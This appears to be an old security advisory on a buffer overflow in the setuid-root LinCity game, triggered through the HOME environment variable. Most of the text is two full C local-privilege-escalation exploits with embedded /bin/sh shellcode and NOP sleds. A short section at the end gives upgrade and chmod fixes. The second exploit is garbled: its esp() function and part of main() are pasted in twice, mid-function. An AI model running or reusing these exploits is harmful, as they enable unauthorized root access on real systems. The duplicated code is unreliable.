COMMAND
LinCity
SYSTEMS AFFECTED
Linux, Solaris 2.5, FreeBSD, HpUX, AIX, IRIX
PROBLEM
LinCity is an SVGALIB and X based city/country simulation game.
T. Freak found following. It's a buffer overflow, but depending
on your enviroment may work or may not. Observe:
jaded:~> id
uid=1000(tfreak) gid=1000(tfreak)
groups=1000(tfreak),0(root),4(adm),7(lp),24(cdrom),25(floppy),31(majordom),69(geek)
jaded:~> ls -l /usr/games/lincity
-rwsr-xr-x 1 root root 769384 Mar 14 20:36 /usr/games/lincity
jaded:~> ./x
svgalib: Using S3 driver (Trio64, 2048K).
svgalib: s3: chipsets newer than S3-864 is not supported well yet.
svgalib: RAMDAC: Trio64: MCLK = 50.114 MHz
sh-2.01$ id
uid=1000(tfreak) gid=1000(tfreak)
groups=1000(tfreak),0(root),4(adm),7(lp),24(cdrom),25(floppy),31(majordom),69(geek)
sh-2.01$
Despite the setuid permissions, a root shell was not obtained.
The version of bash you are running is the key here... 2.01
renounces setuid/setgid privs when called as "sh", e.g., system()
within a program, unless the "-p" flag is passed. See the "NOTES"
file in the root directory of the bash-2.01.1 distribution for
details.
Below are two exploits:
/*
* lincity-svga exploit by TFreak
*
* another example of bad programming, copying the HOME
* environment without bounds checking to a static size buffer
* (100 bytes)
*
*/
#include <stdio.h>
#define bs 250
#define of 300
unsigned long sp (void);
int main(int argc, char *argv[])
{
char *p, *buf;
char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
unsigned long addr, *paddr;
int i;
buf = (char *) malloc(bs);
p = buf;
paddr = (unsigned long *) p;
addr = sp() - of;
for (i = 0; i < bs; i += 4)
*(paddr++) = addr;
memset(p, 0x90, bs/2);
p += bs/2;
for (i = 0; i < strlen(shell); i++)
*(p++) = shell[i];
setenv("HOME", buf, 1);
execl("/usr/games/lincity", "lincity", NULL);
}
unsigned long sp (void)
{
__asm__("movl %esp, %eax");
}
Bst posted another one:
#include <stdio.h>
#include <stdlib.h>
#define HOMESIZE 500
#define HUEVOSIZE 5000
char *shell =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
long
esp(void)
{
__asm__("movl %esp,%eax\n");
}
int
main(void)
{
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int i;
if ( !(bof = malloc(HOMESIZE)) ) {
printf("NoMoreMemory4bof.\n");
exit(1);
}
if ( !(egg = malloc(HUEVOSIZE)) ) {
printf("NoMoreMemory4egg.\n");
exit(1);
}
long
esp(void)
{
__asm__("movl %esp,%eax\n");
}
int
main(void)
{
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int i;
if ( !(bof = malloc(HOMESIZE)) ) {
printf("NoMoreMemory4bof.\n");
exit(1);
}
if ( !(egg = malloc(HUEVOSIZE)) ) {
printf("NoMoreMemory4egg.\n");
exit(1);
}
addr = esp();
addr_ptr = (long *) bof;
for (i = 0; i < HOMESIZE; i += 4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= HUEVOSIZE - strlen(shell) - 2; i++)
*(ptr++) = 0x90;
for( i = 0; i < strlen(shell); i++)
*(ptr++) = shell[i];
printf("Address:\t0x%x\n", addr);
bof[HOMESIZE - 1] = '\0';
egg[HUEVOSIZE - 1] = '\0';
memcpy(bof, "BOF=", 4);
memcpy(egg , "EGG=", 4);
putenv(bof);
putenv(egg);
system("export HOME=$BOF; /usr/games/lincity");
}
SOLUTION
At this moment it is only known for Debian Linux that if you are
using Debian hamm/2.0, you should upgrade immediately to lincity
1.09-3 to avoid this problem. Otherwise, run:
chmod a-s /usr/games/lincity
Debian 1.3.1 (lincity 1.03-2 or 1.09-1) is vulnerable to this
issue, but only if lincity-svga is installed (find out with dpkg
-s lincity-svga) and is setuid root. Debian hamm/pre-2.0 is not
vulnerable unless running an outdated package from before February
22, 1998. Any hand-installed version from the author's makefile
IS vulnerable, unless the setuid bit was explicitly removed.